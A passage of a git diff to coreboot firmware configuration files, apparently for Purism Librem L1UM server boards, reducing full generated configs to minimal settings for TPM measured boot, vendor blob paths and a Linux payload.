-CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Sunrise_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_l1um.config b/config/coreboot-librem_l1um.config index 97a68a3f6..271edc23b 100644 --- a/config/coreboot-librem_l1um.config +++ b/config/coreboot-librem_l1um.config @@ -2,13 +2,14 @@ CONFIG_USE_BLOBS=y CONFIG_MEASURED_BOOT=y CONFIG_VENDOR_PURISM=y CONFIG_CBFS_SIZE=0xC00000 -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Server L1UM" CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/me.bin" CONFIG_HAVE_IFD_BIN=y -# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_BOARD_PURISM_LIBREM_L1UM=y +CONFIG_NO_POST=y +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=3" CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_FSP_EHCI1_ENABLE=y CONFIG_FSP_EHCI2_ENABLE=y @@ -17,10 +18,7 @@ CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_l1um/cp CONFIG_HAVE_ME_BIN=y CONFIG_NO_GFX_INIT=y CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -CONFIG_SMBIOS_ENCLOSURE_TYPE=0x17 CONFIG_USER_TPM1=y -CONFIG_NO_POST=y CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_LINUX_COMMAND_LINE="quiet loglevel=3" diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index 72ff041f8..cf221d6e0 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -1,793 +1,20 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -CONFIG_NO_STAGE_CACHE=y -# CONFIG_TSEG_STAGE_CACHE is not set -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem L1UM v2" -CONFIG_MAINBOARD_PART_NUMBER="Librem L1UM v2" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_l1um_v2" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="Purism" -CONFIG_CBFS_SIZE=0x1000000 # CONFIG_CONSOLE_SERIAL is not set -CONFIG_MAX_CPUS=16 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_POST_DEVICE=y -CONFIG_POST_IO=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -# CONFIG_CONSOLE_POST is not set -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/me.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem L1UM v2" CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_IPMI_KCS_REGISTER_SPACING=1 -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set CONFIG_BOARD_PURISM_LIBREM_L1UM_V2=y -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_L1UM_V2=y -CONFIG_EC_GPE_SCI=0x50 -# CONFIG_DRIVERS_IPMI_SUPERMICRO_OEM is not set CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -CONFIG_COREBOOT_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=32768 -CONFIG_ROM_SIZE=0x02000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset_pch_h.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="cnl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_MAX_PCIE_CLOCK_SRC=16 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 -CONFIG_SOC_INTEL_I2C_DEV_MAX=4 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_INTEL_CANNONLAKE_BASE=y -CONFIG_SOC_INTEL_COFFEELAKE=y -CONFIG_SOC_INTEL_CANNONLAKE_PCH_H=y -CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_SBI=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y -CONFIG_ME_SPEC=12 -CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y 